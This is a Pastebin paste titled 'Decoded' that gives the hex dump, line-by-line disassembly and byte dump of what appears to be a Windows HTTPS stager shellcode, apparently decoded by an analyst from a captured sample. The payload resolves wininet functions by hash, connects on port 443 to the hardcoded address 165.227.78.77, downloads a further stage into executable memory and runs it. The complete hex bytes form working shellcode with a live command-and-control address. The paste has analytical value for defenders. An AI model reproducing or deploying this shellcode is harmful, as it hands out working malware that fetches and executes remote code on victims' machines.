James_inthe_box

Decoded

Nov 8th, 2017
775
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 12.94 KB | None | 0 0
  1. Hex dump: fc e8 82 00 00 00 60 89 e5 31 c0 64 8b 50 30 8b 52 0c 8b 52 14 8b 72 28 0f b7 4a 26 31 ff ac 3c 61 7c 02 2c 20 c1 cf 0d 01 c7 e2 f2 52 57 8b 52 10 8b 4a 3c 8b 4c 11 78 e3 48 01 d1 51 8b 59 20 01 d3 8b 49 18 e3 3a 49 8b 34 8b 01 d6 31 ff ac c1 cf 0d 01 c7 38 e0 75 f6 03 7d f8 3b 7d 24 75 e4 58 8b 58 24 01 d3 66 8b 0c 4b 8b 58 1c 01 d3 8b 04 8b 01 d0 89 44 24 24 5b 5b 61 59 5a 51 ff e0 5f 5f 5a 8b 12 eb 8d 5d 68 6e 65 74 00 68 77 69 6e 69 54 68 4c 77 26 07 ff d5 31 db 53 53 53 53 53 68 3a 56 79 a7 ff d5 53 53 6a 03 53 53 68 bb 01 00 00 e8 4d 01 00 00 2f 77 45 62 42 55 6a 61 62 51 48 4b 44 69 6f 4b 4c 32 6a 42 68 72 67 74 44 37 71 54 37 36 57 6d 77 6c 55 47 63 69 58 36 4a 36 57 2d 37 6b 50 45 6c 52 54 54 4c 66 7a 69 7a 34 6b 56 53 37 44 6e 35 2d 46 4e 69 37 6c 64 68 79 74 64 64 52 57 5f 41 6c 78 73 48 48 42 52 6e 66 30 54 50 48 70 75 57 74 43 34 65 5f 77 67 64 79 4e 4a 64 46 42 4a 66 39 51 76 35 62 7a 5f 33 4b 38 4d 6d 4b 71 41 72 70 42 4c 68 46 4e 35 5a 75 38 63 79 58 53 59 77 58 31 65 79 4b 74 44 2d 75 69 44 5f 6e 2d 59 42 5a 55 33 59 39 4f 68 45 42 30 45 6e 5f 33 79 5f 6e 74 69 35 30 34 4f 6f 50 50 63 46 00 50 68 57 89 9f c6 ff d5 89 c6 53 68 00 32 e0 84 53 53 53 57 53 56 68 eb 55 2e 3b ff d5 96 6a 0a 5f 68 80 33 00 00 89 e0 6a 04 50 6a 1f 56 68 75 46 9e 86 ff d5 53 53 53 53 56 68 2d 06 18 7b ff d5 85 c0 75 14 68 88 13 00 00 68 44 f0 35 e0 ff d5 4f 75 cd e8 4a 00 00 00 6a 40 68 00 10 00 00 68 00 00 40 00 53 68 58 a4 53 e5 ff d5 93 53 53 89 e7 57 68 00 20 00 00 53 56 68 12 96 89 e2 ff d5 85 c0 74 cf 8b 07 01 c3 85 c0 75 e5 58 c3 5f e8 6b ff ff ff 31 36 35 2e 32 32 37 2e 37 38 2e 37 37 00 bb f0 b5 a2 56 6a 00 53 ff d5
  2. 0x00000000 fc cld
  3. 0x00000001 e882000000 call 0x00000088
  4. 0x00000006 60 pushad
  5. 0x00000007 89e5 mov ebp,esp
  6. 0x00000009 31c0 xor eax,eax
  7. 0x0000000b 648b5030 fs: mov edx,dword [eax + 48]
  8. 0x0000000f 8b520c mov edx,dword [edx + 12]
  9. 0x00000012 8b5214 mov edx,dword [edx + 20]
  10. 0x00000015 8b7228 mov esi,dword [edx + 40]
  11. 0x00000018 0fb74a26 movzx ecx,word [edx + 38]
  12. 0x0000001c 31ff xor edi,edi
  13. 0x0000001e ac lodsb
  14. 0x0000001f 3c61 cmp al,97
  15. 0x00000021 7c02 jl 0x00000025
  16. 0x00000023 2c20 sub al,32
  17. 0x00000025 c1cf0d ror edi,13
  18. 0x00000028 01c7 add edi,eax
  19. 0x0000002a e2f2 loop 0x0000001e
  20. 0x0000002c 52 push edx
  21. 0x0000002d 57 push edi
  22. 0x0000002e 8b5210 mov edx,dword [edx + 16]
  23. 0x00000031 8b4a3c mov ecx,dword [edx + 60]
  24. 0x00000034 8b4c1178 mov ecx,dword [ecx + edx + 120]
  25. 0x00000038 e348 jecxz 0x00000082
  26. 0x0000003a 01d1 add ecx,edx
  27. 0x0000003c 51 push ecx
  28. 0x0000003d 8b5920 mov ebx,dword [ecx + 32]
  29. 0x00000040 01d3 add ebx,edx
  30. 0x00000042 8b4918 mov ecx,dword [ecx + 24]
  31. 0x00000045 e33a jecxz 0x00000081
  32. 0x00000047 49 dec ecx
  33. 0x00000048 8b348b mov esi,dword [ebx + ecx * 4]
  34. 0x0000004b 01d6 add esi,edx
  35. 0x0000004d 31ff xor edi,edi
  36. 0x0000004f ac lodsb
  37. 0x00000050 c1cf0d ror edi,13
  38. 0x00000053 01c7 add edi,eax
  39. 0x00000055 38e0 cmp al,ah
  40. 0x00000057 75f6 jnz 0x0000004f
  41. 0x00000059 037df8 add edi,dword [ebp - 8]
  42. 0x0000005c 3b7d24 cmp edi,dword [ebp + 36]
  43. 0x0000005f 75e4 jnz 0x00000045
  44. 0x00000061 58 pop eax
  45. 0x00000062 8b5824 mov ebx,dword [eax + 36]
  46. 0x00000065 01d3 add ebx,edx
  47. 0x00000067 668b0c4b mov cx,word [ebx + ecx * 2]
  48. 0x0000006b 8b581c mov ebx,dword [eax + 28]
  49. 0x0000006e 01d3 add ebx,edx
  50. 0x00000070 8b048b mov eax,dword [ebx + ecx * 4]
  51. 0x00000073 01d0 add eax,edx
  52. 0x00000075 89442424 mov dword [esp + 36],eax
  53. 0x00000079 5b pop ebx
  54. 0x0000007a 5b pop ebx
  55. 0x0000007b 61 popad
  56. 0x0000007c 59 pop ecx
  57. 0x0000007d 5a pop edx
  58. 0x0000007e 51 push ecx
  59. 0x0000007f ffe0 jmp eax
  60. 0x00000081 5f pop edi
  61. 0x00000082 5f pop edi
  62. 0x00000083 5a pop edx
  63. 0x00000084 8b12 mov edx,dword [edx]
  64. 0x00000086 eb8d jmp 0x00000015
  65. 0x00000088 5d pop ebp
  66. 0x00000089 686e657400 push 0x0074656e--> 'ten'
  67. 0x0000008e 6877696e69 push 0x696e6977--> 'iniw'
  68. 0x00000093 54 push esp
  69. 0x00000094 684c772607 push 0x0726774c--> '&wL'
  70. 0x00000099 ffd5 call ebp --> kernel32.dll!LoadLibraryA
  71. 0x0000009b 31db xor ebx,ebx
  72. 0x0000009d 53 push ebx
  73. 0x0000009e 53 push ebx
  74. 0x0000009f 53 push ebx
  75. 0x000000a0 53 push ebx
  76. 0x000000a1 53 push ebx
  77. 0x000000a2 683a5679a7 push 0xa779563a--> 'yV:'
  78. 0x000000a7 ffd5 call ebp --> wininet.dll!InternetOpenA
  79. 0x000000a9 53 push ebx
  80. 0x000000aa 53 push ebx
  81. 0x000000ab 6a03 push 3
  82. 0x000000ad 53 push ebx
  83. 0x000000ae 53 push ebx
  84. 0x000000af 68bb010000 push 443
  85. 0x000000b4 e84d010000 call 0x00000206
  86. 0x000000b9 2f das
  87. 0x000000ba 7745 ja 0x00000101
  88. 0x000000bc 624255 bound eax,dword [edx + 85]
  89. 0x000000bf 6a61 push 97
  90. 0x000000c1 625148 bound edx,dword [ecx + 72]
  91. 0x000000c4 4b dec ebx
  92. 0x000000c5 44 inc esp
  93. 0x000000c6 696f4b4c326a42 imul ebp,dword [edi + 75],0x426a324c
  94. 0x000000cd 6872677444 push 0x44746772--> 'Dtgr'
  95. 0x000000d2 37 aaa
  96. 0x000000d3 7154 jno 0x00000129
  97. 0x000000d5 37 aaa
  98. 0x000000d6 3657 ss: push edi
  99. 0x000000d8 6d insd dword [esi],edx
  100. 0x000000d9 776c ja 0x00000147
  101. 0x000000db 55 push ebp
  102. 0x000000dc 47 inc edi
  103. 0x000000dd 636958 arpl word [ecx + 88],bp
  104. 0x000000e0 364a ss: dec edx
  105. 0x000000e2 3657 ss: push edi
  106. 0x000000e4 2d376b5045 sub eax,0x45506b37
  107. 0x000000e9 6c insb byte [esi],edx
  108. 0x000000ea 52 push edx
  109. 0x000000eb 54 push esp
  110. 0x000000ec 54 push esp
  111. 0x000000ed 4c dec esp
  112. 0x000000ee 667a69 jpe 0x0000015a
  113. 0x000000f1 7a34 jpe 0x00000127
  114. 0x000000f3 6b565337 imul edx,dword [esi + 83],55
  115. 0x000000f7 44 inc esp
  116. 0x000000f8 6e outsb edx,byte [esi]
  117. 0x000000f9 352d464e69 xor eax,0x694e462d
  118. 0x000000fe 37 aaa
  119. 0x000000ff 6c insb byte [esi],edx
  120. 0x00000100 646879746464 fs: push 0x64647479--> 'ddty'
  121. 0x00000106 52 push edx
  122. 0x00000107 57 push edi
  123. 0x00000108 5f pop edi
  124. 0x00000109 41 inc ecx
  125. 0x0000010a 6c insb byte [esi],edx
  126. 0x0000010b 7873 js 0x00000180
  127. 0x0000010d 48 dec eax
  128. 0x0000010e 48 dec eax
  129. 0x0000010f 42 inc edx
  130. 0x00000110 52 push edx
  131. 0x00000111 6e outsb edx,byte [esi]
  132. 0x00000112 6630545048 xor byte [eax + edx * 2 + 72],dl
  133. 0x00000117 7075 jo 0x0000018e
  134. 0x00000119 57 push edi
  135. 0x0000011a 7443 jz 0x0000015f
  136. 0x0000011c 3465 xor al,101
  137. 0x0000011e 5f pop edi
  138. 0x0000011f 7767 ja 0x00000188
  139. 0x00000121 64794e fs: jns 0x00000172
  140. 0x00000124 4a dec edx
  141. 0x00000125 6446 fs: inc esi
  142. 0x00000127 42 inc edx
  143. 0x00000128 4a dec edx
  144. 0x00000129 66395176 cmp word [ecx + 118],dx
  145. 0x0000012d 35627a5f33 xor eax,0x335f7a62
  146. 0x00000132 4b dec ebx
  147. 0x00000133 384d6d cmp byte [ebp + 109],cl
  148. 0x00000136 4b dec ebx
  149. 0x00000137 7141 jno 0x0000017a
  150. 0x00000139 7270 jc 0x000001ab
  151. 0x0000013b 42 inc edx
  152. 0x0000013c 4c dec esp
  153. 0x0000013d 68464e355a push 0x5a354e46--> 'Z5NF'
  154. 0x00000142 7538 jnz 0x0000017c
  155. 0x00000144 637958 arpl word [ecx + 88],di
  156. 0x00000147 53 push ebx
  157. 0x00000148 59 pop ecx
  158. 0x00000149 7758 ja 0x000001a3
  159. 0x0000014b 316579 xor dword [ebp + 121],esp
  160. 0x0000014e 4b dec ebx
  161. 0x0000014f 7444 jz 0x00000195
  162. 0x00000151 2d7569445f sub eax,0x5f446975
  163. 0x00000156 6e outsb edx,byte [esi]
  164. 0x00000157 2d59425a55 sub eax,0x555a4259
  165. 0x0000015c 335939 xor ebx,dword [ecx + 57]
  166. 0x0000015f 4f dec edi
  167. 0x00000160 6845423045 push 0x45304245--> 'E0BE'
  168. 0x00000165 6e outsb edx,byte [esi]
  169. 0x00000166 5f pop edi
  170. 0x00000167 33795f xor edi,dword [ecx + 95]
  171. 0x0000016a 6e outsb edx,byte [esi]
  172. 0x0000016b 7469 jz 0x000001d6
  173. 0x0000016d 3530344f6f xor eax,0x6f4f3430
  174. 0x00000172 50 push eax
  175. 0x00000173 50 push eax
  176. 0x00000174 634600 arpl word [esi],ax
  177. 0x00000177 50 push eax
  178. 0x00000178 6857899fc6 push 0xc69f8957
  179. 0x0000017d ffd5 call ebp --> wininet.dll!InternetConnectA
  180. 0x0000017f 89c6 mov esi,eax
  181. 0x00000181 53 push ebx
  182. 0x00000182 680032e084 push 0x84e03200
  183. 0x00000187 53 push ebx
  184. 0x00000188 53 push ebx
  185. 0x00000189 53 push ebx
  186. 0x0000018a 57 push edi
  187. 0x0000018b 53 push ebx
  188. 0x0000018c 56 push esi
  189. 0x0000018d 68eb552e3b push 0x3b2e55eb--> ';.U'
  190. 0x00000192 ffd5 call ebp --> wininet.dll!HttpOpenRequestA
  191. 0x00000194 96 xchg eax,esi
  192. 0x00000195 6a0a push 10
  193. 0x00000197 5f pop edi
  194. 0x00000198 6880330000 push 0x00003380
  195. 0x0000019d 89e0 mov eax,esp
  196. 0x0000019f 6a04 push 4
  197. 0x000001a1 50 push eax
  198. 0x000001a2 6a1f push 31
  199. 0x000001a4 56 push esi
  200. 0x000001a5 6875469e86 push 0x869e4675--> 'Fu'
  201. 0x000001aa ffd5 call ebp --> wininet.dll!InternetSetOptionA
  202. 0x000001ac 53 push ebx
  203. 0x000001ad 53 push ebx
  204. 0x000001ae 53 push ebx
  205. 0x000001af 53 push ebx
  206. 0x000001b0 56 push esi
  207. 0x000001b1 682d06187b push 0x7b18062d--> '{-'
  208. 0x000001b6 ffd5 call ebp --> wininet.dll!HttpSendRequestA
  209. 0x000001b8 85c0 test eax,eax
  210. 0x000001ba 7514 jnz 0x000001d0
  211. 0x000001bc 6888130000 push 0x00001388
  212. 0x000001c1 6844f035e0 push 0xe035f044--> '5D'
  213. 0x000001c6 ffd5 call ebp --> kernel32.dll!Sleep
  214. 0x000001c8 4f dec edi
  215. 0x000001c9 75cd jnz 0x00000198
  216. 0x000001cb e84a000000 call 0x0000021a
  217. 0x000001d0 6a40 push 64
  218. 0x000001d2 6800100000 push 4096
  219. 0x000001d7 6800004000 push 0x00400000
  220. 0x000001dc 53 push ebx
  221. 0x000001dd 6858a453e5 push 0xe553a458--> 'SX'
  222. 0x000001e2 ffd5 call ebp --> kernel32.dll!VirtualAlloc
  223. 0x000001e4 93 xchg eax,ebx
  224. 0x000001e5 53 push ebx
  225. 0x000001e6 53 push ebx
  226. 0x000001e7 89e7 mov edi,esp
  227. 0x000001e9 57 push edi
  228. 0x000001ea 6800200000 push 0x00002000
  229. 0x000001ef 53 push ebx
  230. 0x000001f0 56 push esi
  231. 0x000001f1 68129689e2 push 0xe2899612
  232. 0x000001f6 ffd5 call ebp --> wininet.dll!InternetReadFile
  233. 0x000001f8 85c0 test eax,eax
  234. 0x000001fa 74cf jz 0x000001cb
  235. 0x000001fc 8b07 mov eax,dword [edi]
  236. 0x000001fe 01c3 add ebx,eax
  237. 0x00000200 85c0 test eax,eax
  238. 0x00000202 75e5 jnz 0x000001e9
  239. 0x00000204 58 pop eax
  240. 0x00000205 c3 ret
  241. 0x00000206 5f pop edi
  242. 0x00000207 e86bffffff call 0x00000177
  243. 0x0000020c 3136 xor dword [esi],esi
  244. 0x0000020e 352e323237 xor eax,0x3732322e
  245. 0x00000213 2e37 cs: aaa
  246. 0x00000215 382e cmp byte [esi],ch
  247. 0x00000217 37 aaa
  248. 0x00000218 37 aaa
  249. 0x00000219 00bbf0b5a256 add byte [ebx + 1453503984],bh
  250. 0x0000021f 6a00 push 0
  251. 0x00000221 53 push ebx
  252. 0x00000222 ffd5 call ebp
  253.  
  254. Byte Dump:
  255. ......`..1.d.P0.R.R..r(..J&1..<a|.,......RW.R..J<.L.x.H..Q.Y...I..:I.4...1......8.u..}.;}$u.X.X$..f.K.X.........D$$[[aYZQ..__Z....]hnet.hwiniThLw&...1.SSSSSh:Vy...SSj.SSh.....M.../wEbBUjabQHKDioKL2jBhrgtD7qT76WmwlUGciX6J6W-7kPElRTTLfziz4kVS7Dn5-FNi7ldhytddRW_AlxsHHBRnf0TPHpuWtC4e_wgdyNJdFBJf9Qv5bz_3K8MmKqArpBLhFN5Zu8cyXSYwX1eyKtD-uiD_n-YBZU3Y9OhEB0En_3y_nti504OoPPcF.PhW.......Sh.2..SSSWSVh.U.;...j_h.3....j.Pj.VhuF....SSSSVh-..{[email protected][email protected]._.k...165.227.78.77.....Vj.S..
Advertisement
Add Comment
Please, Sign In to add comment